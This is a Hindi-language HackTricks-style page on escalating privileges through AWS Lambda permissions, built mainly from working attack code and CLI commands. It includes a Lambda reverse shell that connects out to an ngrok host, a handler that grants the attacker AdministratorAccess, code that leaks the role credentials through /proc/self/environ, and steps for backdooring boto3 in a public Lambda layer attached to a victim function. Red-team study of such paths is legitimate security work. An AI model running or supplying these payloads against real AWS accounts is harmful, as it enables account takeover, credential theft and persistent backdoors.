AWS - Lambda Privesc

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

lambda

लैम्बडा के बारे में अधिक जानकारी:

pageAWS - Lambda Enum

iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)

iam:PassRole, lambda:CreateFunction, और lambda:InvokeFunction अनुमतियों वाले उपयोगकर्ता अपनी विशेषाधिकारों को बढ़ा सकते हैं। वे एक नया लैम्बडा फ़ंक्शन बना सकते हैं और उसे एक मौजूदा IAM भूमिका सौंप सकते हैं, जिससे फ़ंक्शन को उस भूमिका के साथ संबंधित अनुमतियाँ प्राप्त होती हैं। उपयोगकर्ता फिर इस लैम्बडा फ़ंक्शन में कोड लिख सकते हैं और अपलोड कर सकते हैं (उदाहरण के लिए रिवर्स शैल के साथ)। एक बार फ़ंक्शन सेटअप हो जाए, उपयोगकर्ता इसके निष्पादन को ट्रिगर कर सकते हैं और AWS API के माध्यम से लैम्बडा फ़ंक्शन को आमंत्रित करके इच्छित क्रियाएँ कर सकते हैं। यह दृष्टिकोण उपयोगकर्ता को वास्तव में उस लैम्बडा फ़ंक्शन के माध्यम से कार्य संपादित करने की अनुमति देता है, जिससे उससे संबंधित IAM भूमिका के साथ प्रदत्त पहुंच स्तर के साथ कार्य किया जा सकता है।\

एक हमलावता इसका दुरुपयोग कर सकता है ताकि वह रिवर्स शैल प्राप्त कर सके और टोकन चुरा सके:

rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"

# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip

# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL

# List roles
aws iam list-attached-user-policies --user-name <user-name>

आप लैम्बडा फंक्शन से लैम्बडा रोल अनुमतियों का दुरुपयोग कर सकते हैं। अगर लैम्बडा रोल में पर्याप्त अनुमतियाँ होती हैं तो आप इसका उपयोग अड्मिन अधिकार प्रदान करने के लिए कर सकते हैं:

import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response

यह भी संभव है कि लैम्बडा की भूमिका क्रेडेंशियल को बाहरी कनेक्शन की आवश्यकता के बिना लीक किया जा सकता है। यह नेटवर्क विस्तारित लैम्बडा के लिए उपयुक्त होगा जो आंतरिक कार्यों में उपयोग किए जाते हैं। यदि अज्ञात सुरक्षा समूह आपके पलटी हुई शैलों को फ़िल्टर कर रहे हैं, तो यह कोड आपको सीधे क्रेडेंशियल्स को लीक करने की अनुमति देगा जैसे कि लैम्बडा के आउटपुट के रूप में।

def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt

संभावित प्रभाव: निर्दिष्ट लैम्बडा सेवा भूमिका में सीधा वृद्धि।

ध्यान दें कि यद्यपि यह दिखने में दिलचस्प लग सकता है lambda:InvokeAsync केवल इसे करने की अनुमति नहीं देता है कि aws lambda invoke-async को निष्पादित करें, आपको lambda:InvokeFunction भी चाहिए।

iam:PassRole, lambda:CreateFunction, lambda:AddPermission

पिछले स्थिति की तरह, आप अगर आपके पास अनुमति है तो आप खुद को lambda:InvokeFunction अनुमति प्रदान कर सकते हैं अगर आपके पास अनुमति है lambda:AddPermission

# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"

संभावित प्रभाव: विशिष्ट लैम्बडा सेवा भूमिका को सीधे उन्नत करना।

iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping

iam:PassRole, lambda:CreateFunction, और lambda:CreateEventSourceMapping अनुमतियों वाले उपयोगकर्ता (और संभावित रूप से dynamodb:PutItem और dynamodb:CreateTable) बिना lambda:InvokeFunction के भी सीधे उच्चाधिकार प्राप्त कर सकते हैं। वे एक लैम्बडा सेवा को दुरुपयोगी कोड के साथ बना सकते हैं और उसे एक मौजूदा IAM भूमिका सौंप सकते हैं।

लैम्बडा को सीधे नहीं बुलाने की बजाय, उपयोगकर्ता एक मौजूदा डाइनामोडीबी तालिका सेटअप करता है या उसे उपयोग करता है, जिसे लैम्बडा को एक घटना स्रोत मैपिंग के माध्यम से जोड़ा जाता है। यह सेटअप सुनिश्चित करता है कि लैम्बडा समारोह तालिका में एक नए आइटम प्रविष्टि पर स्वचालित रूप से ट्रिगर होता है, या उपयोगकर्ता के कार्रवाई या किसी अन्य प्रक्रिया द्वारा, इसके माध्यम से लैम्बडा समारोह को अंतर्निहित रूप से बुलाकर और पारित IAM भूमिका की अनुमतियों के साथ कोड को क्रियान्वित करता है।

aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip

यदि DynamoDB पहले से ही AWS वातावरण में सक्रिय है, तो उपयोगकर्ता को केवल लैम्बडा फ़ंक्शन के लिए घटना स्रोत मैपिंग स्थापित करने की आवश्यकता है। हालांकि, यदि DynamoDB का उपयोग नहीं हो रहा है, तो उपयोगकर्ता को नया तालिका बनाना होगा जिसमें स्ट्रीमिंग सक्षम हो।

aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES

अब यह संभव है लैम्बडा फंक्शन को डाइनामोडीबी टेबल से कनेक्ट करना एक इवेंट सोर्स मैपिंग बनाकर:

aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST

Lambda फंक्शन जो डाइनामोडीबी स्ट्रीम से जुड़ा है, हमलावता डाइनामोडीबी स्ट्रीम को सक्रिय करके अप्रत्यक्ष रूप से लैम्बडा को ट्रिगर कर सकता है। इसे डाइनामोडीबी टेबल में आइटम डालकर पूरा किया जा सकता है:

aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}

संभावित प्रभाव: निर्दिष्ट लैम्बडा सेवा भूमिका को सीधा उन्नति देना।

lambda:AddPermission

इस अनुमति के साथ एक हमलावर खुद को (या अन्यों को) किसी भी अनुमतियाँ दे सकता है (यह संसाधन को पहुंचने के लिए संसाधन आधारित नीतियों को उत्पन्न करता है):

# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>

# Invoke the function
aws lambda lambda invoke --function-name <func_name> /tmp/outout

संभावित प्रभाव: कोड को संशोधित करने और इसे चलाने की अनुमति देकर लैम्बडा सेवा भूमिका में सीधा प्रिविलेज उन्नति।

lambda:AddLayerVersionPermission

इस अनुमति वाले हमलावर को खुद को (या अन्यों को) lambda:GetLayerVersion अनुमति देने की सक्षमता हो सकती है। वह परत तक पहुंच सकता है और संक्षिप्त जानकारी या संवेदनशील जानकारी खोज सकता है।

# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

संभावित प्रभाव: संवेदनशील जानकारी तक पहुंच।

lambda:UpdateFunctionCode

lambda:UpdateFunctionCode अनुमति रखने वाले उपयोगकर्ता को एक मौजूदा Lambda फ़ंक्शन को संबंधित IAM भूमिका से जोड़ा गया है, कोड में परिवर्तन करने की संभावना है। हमलावर IAM क्रेडेंशियल्स को निकालने के लिए लैम्बडा कोड में परिवर्तन कर सकता है

हालांकि हमलावर के पास सीधी क्षमता नहीं हो सकती कि वह फ़ंक्शन को आह्वान करें, यदि लैम्बडा फ़ंक्शन पूर्व मौजूद है और संचालनयोग्य है, तो संभावना है कि यह मौजूदा वर्कफ़्लो या घटनाओं के माध्यम से ट्रिगर होगा, जिससे संशोधित कोड का क्रियान्वयन संभव हो।

# Thezip should contain the lambda code (trick: DOwnload the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip

# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt

# If not check if it's exposed in any URL or via an API gateway you could access

संभावित प्रभाव: उपयोग किए जाने वाले लैम्बडा सेवा भूमिका को सीधे बढ़ावा।

lambda:UpdateFunctionConfiguration

परिचय

लैम्बडा लेयर्स आपको अपने लैम्बडा फ़ंक्शन में कोड शामिल करने की अनुमति देता है लेकिन इसे अलग से स्टोर करता है, ताकि फ़ंक्शन कोड छोटा रह सके और कई फ़ंक्शन कोड साझा कर सकते हैं

लैम्बडा के अंदर आप निम्नलिखित तरह के फ़ंक्शन के साथ पायथन कोड लोड होने के स्थानों की जांच कर सकते हैं:

import json
import sys

def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))

ये हैं स्थान:

  1. /var/task

  2. /opt/python/lib/python3.7/site-packages

  3. /opt/python

  4. /var/runtime

  5. /var/lang/lib/python37.zip

  6. /var/lang/lib/python3.7

  7. /var/lang/lib/python3.7/lib-dynload

  8. /var/lang/lib/python3.7/site-packages

  9. /opt/python/lib/python3.7/site-packages

  10. /opt/python

उदाहरण के लिए, पुस्तकालय boto3 /var/runtime/boto3 से लोड की जाती है (4 वें स्थान पर)।

शोषण

यह संभव है कि आप lambda:UpdateFunctionConfiguration अनुमति का दुरुपयोग करके लैम्बडा कार्य को एक नई परत जोड़ सकते हैं। इस परत में अद्वितीय कोड को निष्पादित करने के लिए यह जरूरी है कि यह परत कुछ पुस्तकालय को शामिल करे जिसे लैम्बडा आयात करेगा। यदि आप लैम्बडा के कोड को पढ़ सकते हैं, तो आप इसे आसानी से पा सकते हैं, यह भी ध्यान दें कि संभावना है कि लैम्बडा पहले से ही एक परत का उपयोग कर रही हो और आप परत डाउनलोड कर सकते हैं और वहां अपना कोड जोड़ सकते हैं

उदाहरण के लिए, मान लें कि लैम्बडा पुस्तकालय boto3 का उपयोग कर रही है, तो यह लास्ट संस्करण के पुस्तकालय के साथ स्थानीय परत बनाएगा:

pip3 install -t ./lambda_layer boto3

आप ./lambda_layer/boto3/__init__.py खोल सकते हैं और वैश्विक कोड में बैकडोर जोड़ सकते हैं (मानक्रेडेंशियल्स को निकालने या उल्टा खोल लेने जैसा कोई फ़ंक्शन।)

फिर, उस ./lambda_layer निर्देशिका को ज़िप करें और अपने खाते में नई लैम्बडा लेयर अपलोड करें (या पीड़ित के खाते में, लेकिन आपको इसके लिए अनुमति नहीं हो सकती है)। ध्यान दें कि आपको /opt/python/boto3 को ओवरराइड करने के लिए पायथन फ़ोल्डर बनाना होगा और उसमें पुस्तकालय डालना होगा। इसके अलावा, लेम्बडा द्वारा उपयोग किए जाने वाले पायथन संस्करण के साथ संगत होना चाहिए और यदि आप इसे अपने खाते में अपलोड करते हैं, तो यह वही क्षेत्र में होना चाहिए:

aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

अब, अपलोड की गई लैम्बडा लेयर किसी भी खाते द्वारा पहुंचने योग्य बनाएं:

aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *

और विक्टिम लैम्बडा फंक्शन को लैम्बडा लेयर संलग्न करें:

aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells

अगला कदम होगा या तो फ़ंक्शन को आमंत्रित करना अगर हम कर सकते हैं या फिर इंतजार करना होगा जब तक यह सामान्य माध्यमों द्वारा आमंत्रित नहीं होता - जो सुरक्षित तरीका है।

इस व्यक्तिगत वंशानुक्रम को शायद इस सुरक्षा दोष का शोषण करने का एक अधिक छिपकली तरीका इसमें मिल सकता है:

pageAWS - Lambda Layers Persistence

संभावित प्रभाव: उपयोग किए जाने वाले लैम्बडा सेवा भूमिका को सीधे उन्नत करना।

?iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl

शायद इन अनुमतियों के साथ आप एक फ़ंक्शन बना सकते हैं और उसे URL को कॉल करके इसे निष्पादित कर सकते हैं... लेकिन मैं इसे टेस्ट करने का एक तरीका ढूंढ़ सकता हूँ, इसलिए अगर आपको पता चलता है तो मुझे बताएं!

लैम्बडा MitM

कुछ लैम्बडा पैरामीटर में उपयोगकर्ताओं से संवेदनशील जानकारी प्राप्त कर रहे होंगे। यदि उनमें से किसी में RCE मिल जाता है, तो आप उसमें भेजी जा रही जानकारी को बाहर निकाल सकते हैं, इसे जांचें:

pageAWS - Steal Lambda Requests

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated